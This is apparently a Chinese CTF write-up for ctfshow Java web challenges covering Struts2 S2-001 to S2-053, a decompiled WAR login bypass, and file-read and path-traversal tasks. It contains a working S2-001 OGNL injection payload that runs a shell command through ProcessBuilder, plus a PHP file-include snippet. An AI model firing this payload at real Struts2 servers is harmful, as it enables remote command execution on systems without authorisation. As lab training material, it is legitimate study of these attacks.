9.java

1. web279 struts S2-001

S2-001
打开后要加上路径 /S2-001 然后登录框随便输入会发现跳了一个url /login.action
一看 .action 后缀就知道是structs了 直接漏洞利用工具梭哈
Pasted image 20250502230932
Pasted image 20250502230946

直接执行命令看env即可

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

Pasted image 20250502233432

2. web280 S2-005

具体原理看 S2-005
工具 Struts2全版本漏洞检测工具 梭哈就行了
Pasted image 20250502234338

3. web281 S2-007

S2-007
工具梭哈

4. web282 S2-008

S2-008
工具梭哈

5. web283 S2-012

6. web284 S2-013

7. web285 S2-014

8. web286 S2-015

9. web287 S2-016

10. web288 S2-019

11. web289 S2-029

12. web290 S2-032

13. web291 S2-033

14. web292 S2-037

15. web293 S2-045

16. web294 S2-046

17. web295 S2-048

18. web296 s2-045

19. web297 S2-053

20. web298 反编译

题目给了一个war包,直接解压后用ide打开会自动帮我们进行反编译。
一般我对于这种web的java包都是先看servlet路由
Pasted image 20250503231458
这里接受了两个参数
Pasted image 20250503231540

下面进行了一个判断
Pasted image 20250503231757
只要我们输入的不是 admin 然后就会进行下一个判断。
我们看一下这个 getVipStatus 方法,他是写在User这个类里面的
Pasted image 20250503232116

这里又要我们这个username=admin,与上面的判断明显有矛盾。
但是这里两个判断是否相等的方法不一样
一个是用的“==” 进行判断
另外一个是用的 username.equals() 判断
所以这里应该是要进行绕过,

注意,这里还要加上路由 /login 才行
Pasted image 20250503232825

/ctfshow/login?username=admin&password=ctfshow

21. web299 文件读取

查看网页源代码给我们了一个提示
Pasted image 20250503233214
他这里可能写错了。写成了.php 应该是.jsp
我们改成.jsp就可以发现确实是可以获取到jsp文件内容的
Pasted image 20250503233351
首先先去读一下web.xml文件 看一下配置的servlet路由
Pasted image 20250503233818
可以发现有一个这个 getFlag 的路由
那可能这个就是servlet的文件名,我们去读取一下看看
view-source?file=WEB-INF/classes/com/ctfshow/servlet/GetFlag.class
Pasted image 20250503234129
这里有个 /fl3g 有点刻意
读一下看看
这里是写在根目录下面的,所以我们需要进行一下这个目录穿越
Pasted image 20250503234251

22. web300 文件读取

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 10:52:43
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 10:54:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

这里给了个php的文件读取。
Pasted image 20250503234535
然后还是和上一题一样先读 web.xml
Pasted image 20250503234629
然后去读 getFlag.class
Pasted image 20250503234723
读flag
Pasted image 20250503234741

23. 总结

前面没什么好说的,就是用 Struts2全版本漏洞检测工具梭哈就行了。 我发现低版本的S2漏洞基本都是这个OGNL表达式被滥用导致的。 感觉有点与SSTI相似

后面的两个文件读取也主要就是考验对这种 servlet 路由的一个熟悉。只要用java写过简单的web网页基本也都知道这个路由怎么去看